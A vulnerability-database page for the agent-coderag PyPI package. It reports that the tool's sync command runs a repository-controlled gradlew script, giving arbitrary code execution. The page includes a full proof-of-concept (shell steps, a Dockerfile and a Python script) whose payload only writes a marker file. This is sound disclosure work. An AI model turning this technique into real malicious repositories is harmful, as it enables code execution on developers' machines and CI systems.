Vulnerabilities in pkg:pypi/agent-coderag

PACKAGE
Advisory Summary

GHSA-wg5p-8h9p-3mr7 is a HIGH (CVSS 8.6) gradle wrapper execution during dependency vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting agent-coderag libraries in the PyPI ecosystem. The issue involves gradle wrapper execution during dependency discovery enables arbitrary code execution. Remediation is available by upgrading affected packages to version 1.3.1.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/agent-coderag

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/agent-coderag. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-wg5p-8h9p-3mr7 - HIGH agent-coderag: Gradle Wrapper Execution During Dependency Discovery Enables Arbitrary Code Execution

GHSA-wg5p-8h9p-3mr7 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-wg5p-8h9p-3mr7
Severity HIGH
CVSS v3.1 Base Score 8.6
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product agent-coderag
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix GHSA-wg5p-8h9p-3mr7

To remediate this vulnerability, upgrade all affected agent-coderag dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

agent-coderag fixed: 1.3.1
pip install agent-coderag>=1.3.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show agent-coderag

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-wg5p-8h9p-3mr7, inspect your installed packages using pip:

pip show agent-coderag

Analyze the terminal output to locate any version of agent-coderag in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.3.1), your application is affected.

Note: The pip show agent-coderag command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In agent-coderag, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Gradle Wrapper Execution During Dependency Discovery Enables Arbitrary Code Execution ### Summary `agent-coderag` unconditionally executes a repository-controlled `gradlew` script during its default `sync` dependency-discovery flow. An attacker who can induce a victim to index a malicious Gradle repository (one containing `build.gradle` and a crafted `gradlew`) achieves arbitrary code execution with the victim's OS privileges. No authentication, no extra flags, and no elevated permissions are required; the attack fires on the default `agent-coderag sync <path>` invocation. ### Details The vulnerability exists across a four-step call chain in the `sync` command: **1. Entry point — `code_rag/entry/cli.py:70`** ```python await manager.sync_dependencies(args.path or ".") ``` `sync_dependencies()` is called unconditionally before indexing. There is no opt-in flag; any `agent-coderag sync` invocation triggers dependency discovery. **2. Gradle project detection — `code_rag/core/manager.py:40-47`** The presence of a `build.gradle` or `build.gradle.kts` file in the target directory is sufficient to invoke `_sync_gradle()`. No additional checks are performed. **3. Wrapper selection — `code_rag/core/manager.py:110-113`** ```python gradle_wrapper = root / ("gradlew.bat" if os.name == "nt" else "gradlew") gradle_bin: Optional[str] = None if gradle_wrapper.exists(): gradle_bin = str(gradle_wrapper.resolve()) else: gradle_bin = shutil.which("gradle") ``` When a repository-local `gradlew` exists, it is unconditionally preferred over the system-installed `gradle`. No content validation, signature check, or integrity verification is performed on this file. **4. Execution sink — `code_rag/core/manager.py:152-158`** ```python process = await asyncio.create_subprocess_exec( gradle_bin, "-q", "--init-script", str(init_script), "printCodeRagCP", cwd=str(root), ... ) ``` The attacker-controlled `gradlew` is executed directly via `asyncio.create_subprocess_exec()` with the repository root as the working directory. `validate_path` (`code_rag/core/utils.py:7-71`) only constrains the path location (directory boundary), not the content or nature of the executed binary. The complete data flow: `cli.py:277` (path input) → `cli.py:313-314` (`sync_cmd`) → `cli.py:62` (`validate_path`) → `cli.py:70` (`sync_dependencies`) → `manager.py:40-47` (`_sync_gradle`) → `manager.py:110-113` (wrapper selection) → `manager.py:152-158` (execution sink). ### PoC **Environment setup:** ```bash python3 -m venv /tmp/acr-venv . /tmp/acr-venv/bin/activate pip install agent-coderag==1.3.0 rm -rf /tmp/acr-evil /tmp/acr.db /tmp/agent-coderag-poc-marker mkdir -p /tmp/acr-evil ``` **Build the malicious repository:** ```bash # Trigger _sync_gradle() detection printf 'plugins { id "java" }\n' > /tmp/acr-evil/build.gradle # Malicious gradlew: writes proof-of-exploitation marker and exits cleanly printf '#!/bin/sh\nprintf CODERAG_RCE_SUCCESS > /tmp/agent-coderag-poc-marker\nexit 0\n' \ > /tmp/acr-evil/gradlew chmod +x /tmp/acr-evil/gradlew ``` **Trigger the vulnerability (victim action):** ```bash agent-coderag --db /tmp/acr.db sync /tmp/acr-evil ``` **Verify exploitation:** ```bash cat /tmp/agent-coderag-poc-marker # Expected output: CODERAG_RCE_SUCCESS ``` **Docker-based reproduction (as confirmed in Phase 2):** ```bash # Build image from repository root docker build -t agent-coderag-vuln001 -f vuln-001/Dockerfile . # Run PoC — exits 0 on successful exploitation docker run --rm agent-coderag-vuln001 ``` Phase 2 dynamic reproduction confirmed the following output: ``` [*] Evil repo created at /tmp/acr-evil-i560afcg build.gradle : 22 bytes gradlew : 275 bytes (executable=True) [*] Running: agent-coderag --db /tmp/acr-poc.db sync /tmp/acr-evil-i560afcg [*] agent-coderag exit code : 0 [PASS] Exploit confirmed. Marker file : /tmp/acr-poc-marker Contents : 'CODERAG_RCE_SUCCESS' The malicious gradlew was executed by agent-coderag during sync. ``` ### Impact This is an **Arbitrary Code Execution (ACE)** vulnerability triggered by a local attack vector. Any user who runs `agent-coderag sync` against an attacker-controlled directory is affected. The attack requires no authentication and no special privileges beyond the ability to supply a path argument. Typical impacted scenarios include: - A developer cloning an untrusted repository and running `agent-coderag sync` to index it for AI-assisted code analysis. - A CI/CD pipeline that automatically indexes pull-request branches containing a crafted `gradlew`. - Any tooling or script that passes arbitrary paths to `agent-coderag sync` without user oversight. Because the vulnerable component (`agent-coderag`) is a code-indexing tool intended to *read* repositories, victims have no expectation that indexing will *execute* files within the repository. This trust-boundary violation (reflected in the CVSS `S:C` — Changed Scope) means the impact extends beyond the tool itself to the victim's entire user session environment: confidentiality (credential theft, secret exfiltration), integrity (file modification, persistence installation), and availability (process termination, disk exhaustion) are all fully compromised. ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM python:3.11-slim LABEL description="VULN-001 PoC: agent-coderag gradlew RCE reproduction" WORKDIR /app RUN apt-get update && apt-get install -y --no-install-recommends \ && rm -rf /var/lib/apt/lists/* # Install agent-coderag from local repo source (pinned to vulnerable commit) COPY repo/ /app/repo/ RUN pip install --no-cache-dir /app/repo/ # Copy PoC script COPY vuln-001/poc.py /app/poc.py CMD ["python3", "/app/poc.py"] ``` #### `poc.py` ```python """ PoC for VULN-001: agent-coderag Gradle Wrapper Execution → Arbitrary Code Execution Vulnerability: agent-coderag `sync` command calls sync_dependencies() unconditionally. When the target directory contains a build.gradle file, _sync_gradle() is triggered. _sync_gradle() prefers a repository-local ./gradlew over the system gradle binary. The repository-controlled gradlew is executed via asyncio.create_subprocess_exec() without any content validation, enabling arbitrary code execution. Data flow (source → sink): cli.py:70 → manager.sync_dependencies() manager.py:46 → _sync_gradle() manager.py:112-113 → gradle_bin = str(gradle_wrapper.resolve()) [untrusted file] manager.py:152-158 → asyncio.create_subprocess_exec(gradle_bin, ...) [sink] Expected outcome: The malicious gradlew writes a marker to /tmp/acr-poc-marker. If that file contains "CODERAG_RCE_SUCCESS", the exploit is confirmed. """ import asyncio import os import shutil import stat import subprocess import sys import tempfile from pathlib import Path MARKER_PATH = "/tmp/acr-poc-marker" DB_PATH = "/tmp/acr-poc.db" MALICIOUS_GRADLEW = """\ #!/bin/sh # Malicious gradlew: writes a proof-of-exploitation marker and simulates # enough Gradle output for agent-coderag to continue without error. printf 'CODERAG_RCE_SUCCESS' > /tmp/acr-poc-marker # Output a fake empty classpath so the tool does not log an error exit 0 """ BUILD_GRADLE = "plugins { id 'java' }\n" def setup_evil_repo(directory: str) -> None: """Create a minimal attacker-controlled Gradle repository.""" repo_path = Path(directory) repo_path.mkdir(parents=True, exist_ok=True) # build.gradle triggers _sync_gradle() in manager.py:46 (repo_path / "build.gradle").write_text(BUILD_GRADLE) # gradlew will be executed by manager.py:152 instead of system gradle gradlew = repo_path / "gradlew" gradlew.write_text(MALICIOUS_GRADLEW) gradlew.chmod(gradlew.stat().st_mode | stat.S_IEXEC | stat.S_IXGRP | stat.S_IXOTH) print(f"[*] Evil repo created at {directory}") print(f" build.gradle : {(repo_path / 'build.gradle').stat().st_size} bytes") print(f" gradlew : {gradlew.stat().st_size} bytes (executable={os.access(gradlew, os.X_OK)})") def run_agent_coderag(evil_repo: str) -> subprocess.CompletedProcess: """Invoke agent-coderag sync against the malicious repository.""" cmd = ["agent-coderag", "--db", DB_PATH, "sync", evil_repo] print(f"[*] Running: {' '.join(cmd)}") result = subprocess.run(cmd, capture_output=True, text=True, timeout=60) return result def check_marker() -> str | None: """Return the marker content if it was written by the malicious gradlew.""" try: return Path(MARKER_PATH).read_text() except FileNotFoundError: return None def main() -> int: # Clean up any leftovers from a previous run for path in (MARKER_PATH, DB_PATH): if os.path.exists(path): os.remove(path) evil_repo = tempfile.mkdtemp(prefix="acr-evil-") try: # Step 1 — build the attacker-controlled repository setup_evil_repo(evil_repo) # Step 2 — invoke agent-coderag (victim action: indexing an untrusted repo) result = run_agent_coderag(evil_repo) print(f"[*] agent-coderag exit code : {result.returncode}") if result.stdout: print(f"[*] stdout:\n{result.stdout.rstrip()}") if result.stderr: print(f"[*] stderr:\n{result.stderr.rstrip()}") # Step 3 — verify the marker was written by the malicious gradlew marker_content = check_marker() if marker_content and "CODERAG_RCE_SUCCESS" in marker_content: print("\n[PASS] Exploit confirmed.") print(f" Marker file : {MARKER_PATH}") print(f" Contents : {marker_content!r}") print(" The malicious gradlew was executed by agent-coderag during sync.") return 0 else: print("\n[FAIL] Marker file not found or does not contain the expected string.") print(f" Expected : 'CODERAG_RCE_SUCCESS'") print(f" Got : {marker_content!r}") return 1 finally: shutil.rmtree(evil_repo, ignore_errors=True) if __name__ == "__main__": sys.exit(main()) ```

GHSA-wg5p-8h9p-3mr7 Affected agent-coderag Versions

1 component(s)
Fixed Versions:
1.3.1
Product / Package Ecosystem Affected Versions Fixed Version
agent-coderag
PyPI
< 1.3.1
1.3.1

References

Frequently Asked Questions

What is GHSA-wg5p-8h9p-3mr7?
GHSA-wg5p-8h9p-3mr7 is a security vulnerability in agent-coderag involving Gradle Wrapper Execution During Dependency Discovery Enables Arbitrary Code Execution under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which agent-coderag versions are affected?
Affected versions include releases prior to 1.3.1 across affected packages: agent-coderag.
What version fixes GHSA-wg5p-8h9p-3mr7?
Upgrading to 1.3.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is agent-coderag affected?
Yes, agent-coderag is affected in releases prior to 1.3.1. Upgrade your dependency to 1.3.1 or later.
What is the CVSS score of GHSA-wg5p-8h9p-3mr7?
GHSA-wg5p-8h9p-3mr7 has a CVSS v3.1 base score of 8.6 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H.
What CWE is associated with GHSA-wg5p-8h9p-3mr7?
GHSA-wg5p-8h9p-3mr7 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check PyPI dependencies for GHSA-wg5p-8h9p-3mr7?
Run the dependency tree command: 'pip show agent-coderag'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wg5p-8h9p-3mr7",
  "modified" : "2026-06-19T15:01:06Z",
  "published" : "2026-06-19T15:01:06Z",
  "aliases" : [ ],
  "summary" : "agent-coderag: Gradle Wrapper Execution During Dependency Discovery Enables Arbitrary Code Execution",
  "details" : "## Gradle Wrapper Execution During Dependency Discovery Enables Arbitrary Code Execution\n\n### Summary\n\n`agent-coderag` unconditionally executes a repository-controlled `gradlew` script during its default `sync` dependency-discovery flow. An attacker who can induce a victim to index a malicious Gradle repository (one containing `build.gradle` and a crafted `gradlew`) achieves arbitrary code execution with the victim's OS privileges. No authentication, no extra flags, and no elevated permissions are required; the attack fires on the default `agent-coderag sync <path>` invocation.\n\n### Details\n\nThe vulnerability exists across a four-step call chain in the `sync` command:\n\n**1. Entry point — `code_rag/entry/cli.py:70`**\n\n```python\nawait manager.sync_dependencies(args.path or \".\")\n```\n\n`sync_dependencies()` is called unconditionally before indexing. There is no opt-in flag; any `agent-coderag sync` invocation triggers dependency discovery.\n\n**2. Gradle project detection — `code_rag/core/manager.py:40-47`**\n\nThe presence of a `build.gradle` or `build.gradle.kts` file in the target directory is sufficient to invoke `_sync_gradle()`. No additional checks are performed.\n\n**3. Wrapper selection — `code_rag/core/manager.py:110-113`**\n\n```python\ngradle_wrapper = root / (\"gradlew.bat\" if os.name == \"nt\" else \"gradlew\")\ngradle_bin: Optional[str] = None\nif gradle_wrapper.exists():\n    gradle_bin = str(gradle_wrapper.resolve())\nelse:\n    gradle_bin = shutil.which(\"gradle\")\n```\n\nWhen a repository-local `gradlew` exists, it is unconditionally preferred over the system-installed `gradle`. No content validation, signature check, or integrity verification is performed on this file.\n\n**4. Execution sink — `code_rag/core/manager.py:152-158`**\n\n```python\nprocess = await asyncio.create_subprocess_exec(\n    gradle_bin,\n    \"-q\",\n    \"--init-script\",\n    str(init_script),\n    \"printCodeRagCP\",\n    cwd=str(root),\n    ...\n)\n```\n\nThe attacker-controlled `gradlew` is executed directly via `asyncio.create_subprocess_exec()` with the repository root as the working directory. `validate_path` (`code_rag/core/utils.py:7-71`) only constrains the path location (directory boundary), not the content or nature of the executed binary.\n\nThe complete data flow: `cli.py:277` (path input) → `cli.py:313-314` (`sync_cmd`) → `cli.py:62` (`validate_path`) → `cli.py:70` (`sync_dependencies`) → `manager.py:40-47` (`_sync_gradle`) → `manager.py:110-113` (wrapper selection) → `manager.py:152-158` (execution sink).\n\n### PoC\n\n**Environment setup:**\n\n```bash\npython3 -m venv /tmp/acr-venv\n. /tmp/acr-venv/bin/activate\npip install agent-coderag==1.3.0\n\nrm -rf /tmp/acr-evil /tmp/acr.db /tmp/agent-coderag-poc-marker\nmkdir -p /tmp/acr-evil\n```\n\n**Build the malicious repository:**\n\n```bash\n# Trigger _sync_gradle() detection\nprintf 'plugins { id \"java\" }\\n' > /tmp/acr-evil/build.gradle\n\n# Malicious gradlew: writes proof-of-exploitation marker and exits cleanly\nprintf '#!/bin/sh\\nprintf CODERAG_RCE_SUCCESS > /tmp/agent-coderag-poc-marker\\nexit 0\\n' \\\n    > /tmp/acr-evil/gradlew\nchmod +x /tmp/acr-evil/gradlew\n```\n\n**Trigger the vulnerability (victim action):**\n\n```bash\nagent-coderag --db /tmp/acr.db sync /tmp/acr-evil\n```\n\n**Verify exploitation:**\n\n```bash\ncat /tmp/agent-coderag-poc-marker\n# Expected output: CODERAG_RCE_SUCCESS\n```\n\n**Docker-based reproduction (as confirmed in Phase 2):**\n\n```bash\n# Build image from repository root\ndocker build -t agent-coderag-vuln001 -f vuln-001/Dockerfile .\n\n# Run PoC — exits 0 on successful exploitation\ndocker run --rm agent-coderag-vuln001\n```\n\nPhase 2 dynamic reproduction confirmed the following output:\n\n```\n[*] Evil repo created at /tmp/acr-evil-i560afcg\n    build.gradle : 22 bytes\n    gradlew      : 275 bytes  (executable=True)\n[*] Running: agent-coderag --db /tmp/acr-poc.db sync /tmp/acr-evil-i560afcg\n[*] agent-coderag exit code : 0\n[PASS] Exploit confirmed.\n       Marker file : /tmp/acr-poc-marker\n       Contents    : 'CODERAG_RCE_SUCCESS'\n       The malicious gradlew was executed by agent-coderag during sync.\n```\n\n### Impact\n\nThis is an **Arbitrary Code Execution (ACE)** vulnerability triggered by a local attack vector. Any user who runs `agent-coderag sync` against an attacker-controlled directory is affected. The attack requires no authentication and no special privileges beyond the ability to supply a path argument.\n\nTypical impacted scenarios include:\n\n- A developer cloning an untrusted repository and running `agent-coderag sync` to index it for AI-assisted code analysis.\n- A CI/CD pipeline that automatically indexes pull-request branches containing a crafted `gradlew`.\n- Any tooling or script that passes arbitrary paths to `agent-coderag sync` without user oversight.\n\nBecause the vulnerable component (`agent-coderag`) is a code-indexing tool intended to *read* repositories, victims have no expectation that indexing will *execute* files within the repository. This trust-boundary violation (reflected in the CVSS `S:C` — Changed Scope) means the impact extends beyond the tool itself to the victim's entire user session environment: confidentiality (credential theft, secret exfiltration), integrity (file modification, persistence installation), and availability (process termination, disk exhaustion) are all fully compromised.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\nLABEL description=\"VULN-001 PoC: agent-coderag gradlew RCE reproduction\"\n\nWORKDIR /app\n\nRUN apt-get update && apt-get install -y --no-install-recommends \\\n    && rm -rf /var/lib/apt/lists/*\n\n# Install agent-coderag from local repo source (pinned to vulnerable commit)\nCOPY repo/ /app/repo/\nRUN pip install --no-cache-dir /app/repo/\n\n# Copy PoC script\nCOPY vuln-001/poc.py /app/poc.py\n\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nPoC for VULN-001: agent-coderag Gradle Wrapper Execution → Arbitrary Code Execution\n\nVulnerability:\n    agent-coderag `sync` command calls sync_dependencies() unconditionally.\n    When the target directory contains a build.gradle file, _sync_gradle() is triggered.\n    _sync_gradle() prefers a repository-local ./gradlew over the system gradle binary.\n    The repository-controlled gradlew is executed via asyncio.create_subprocess_exec()\n    without any content validation, enabling arbitrary code execution.\n\nData flow (source → sink):\n    cli.py:70  → manager.sync_dependencies()\n    manager.py:46 → _sync_gradle()\n    manager.py:112-113 → gradle_bin = str(gradle_wrapper.resolve())  [untrusted file]\n    manager.py:152-158 → asyncio.create_subprocess_exec(gradle_bin, ...)  [sink]\n\nExpected outcome:\n    The malicious gradlew writes a marker to /tmp/acr-poc-marker.\n    If that file contains \"CODERAG_RCE_SUCCESS\", the exploit is confirmed.\n\"\"\"\n\nimport asyncio\nimport os\nimport shutil\nimport stat\nimport subprocess\nimport sys\nimport tempfile\nfrom pathlib import Path\n\n\nMARKER_PATH = \"/tmp/acr-poc-marker\"\nDB_PATH = \"/tmp/acr-poc.db\"\n\nMALICIOUS_GRADLEW = \"\"\"\\\n#!/bin/sh\n# Malicious gradlew: writes a proof-of-exploitation marker and simulates\n# enough Gradle output for agent-coderag to continue without error.\nprintf 'CODERAG_RCE_SUCCESS' > /tmp/acr-poc-marker\n# Output a fake empty classpath so the tool does not log an error\nexit 0\n\"\"\"\n\nBUILD_GRADLE = \"plugins { id 'java' }\\n\"\n\n\ndef setup_evil_repo(directory: str) -> None:\n    \"\"\"Create a minimal attacker-controlled Gradle repository.\"\"\"\n    repo_path = Path(directory)\n    repo_path.mkdir(parents=True, exist_ok=True)\n\n    # build.gradle triggers _sync_gradle() in manager.py:46\n    (repo_path / \"build.gradle\").write_text(BUILD_GRADLE)\n\n    # gradlew will be executed by manager.py:152 instead of system gradle\n    gradlew = repo_path / \"gradlew\"\n    gradlew.write_text(MALICIOUS_GRADLEW)\n    gradlew.chmod(gradlew.stat().st_mode | stat.S_IEXEC | stat.S_IXGRP | stat.S_IXOTH)\n\n    print(f\"[*] Evil repo created at {directory}\")\n    print(f\"    build.gradle : {(repo_path / 'build.gradle').stat().st_size} bytes\")\n    print(f\"    gradlew      : {gradlew.stat().st_size} bytes  (executable={os.access(gradlew, os.X_OK)})\")\n\n\ndef run_agent_coderag(evil_repo: str) -> subprocess.CompletedProcess:\n    \"\"\"Invoke agent-coderag sync against the malicious repository.\"\"\"\n    cmd = [\"agent-coderag\", \"--db\", DB_PATH, \"sync\", evil_repo]\n    print(f\"[*] Running: {' '.join(cmd)}\")\n    result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)\n    return result\n\n\ndef check_marker() -> str | None:\n    \"\"\"Return the marker content if it was written by the malicious gradlew.\"\"\"\n    try:\n        return Path(MARKER_PATH).read_text()\n    except FileNotFoundError:\n        return None\n\n\ndef main() -> int:\n    # Clean up any leftovers from a previous run\n    for path in (MARKER_PATH, DB_PATH):\n        if os.path.exists(path):\n            os.remove(path)\n\n    evil_repo = tempfile.mkdtemp(prefix=\"acr-evil-\")\n    try:\n        # Step 1 — build the attacker-controlled repository\n        setup_evil_repo(evil_repo)\n\n        # Step 2 — invoke agent-coderag (victim action: indexing an untrusted repo)\n        result = run_agent_coderag(evil_repo)\n        print(f\"[*] agent-coderag exit code : {result.returncode}\")\n        if result.stdout:\n            print(f\"[*] stdout:\\n{result.stdout.rstrip()}\")\n        if result.stderr:\n            print(f\"[*] stderr:\\n{result.stderr.rstrip()}\")\n\n        # Step 3 — verify the marker was written by the malicious gradlew\n        marker_content = check_marker()\n        if marker_content and \"CODERAG_RCE_SUCCESS\" in marker_content:\n            print(\"\\n[PASS] Exploit confirmed.\")\n            print(f\"       Marker file : {MARKER_PATH}\")\n            print(f\"       Contents    : {marker_content!r}\")\n            print(\"       The malicious gradlew was executed by agent-coderag during sync.\")\n            return 0\n        else:\n            print(\"\\n[FAIL] Marker file not found or does not contain the expected string.\")\n            print(f\"       Expected : 'CODERAG_RCE_SUCCESS'\")\n            print(f\"       Got      : {marker_content!r}\")\n            return 1\n    finally:\n        shutil.rmtree(evil_repo, ignore_errors=True)\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "agent-coderag"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.3.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.3.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/naranor/agent-coderag/security/advisories/GHSA-wg5p-8h9p-3mr7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/naranor/agent-coderag"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-19T15:01:06Z",
    "nvd_published_at" : null
  }
}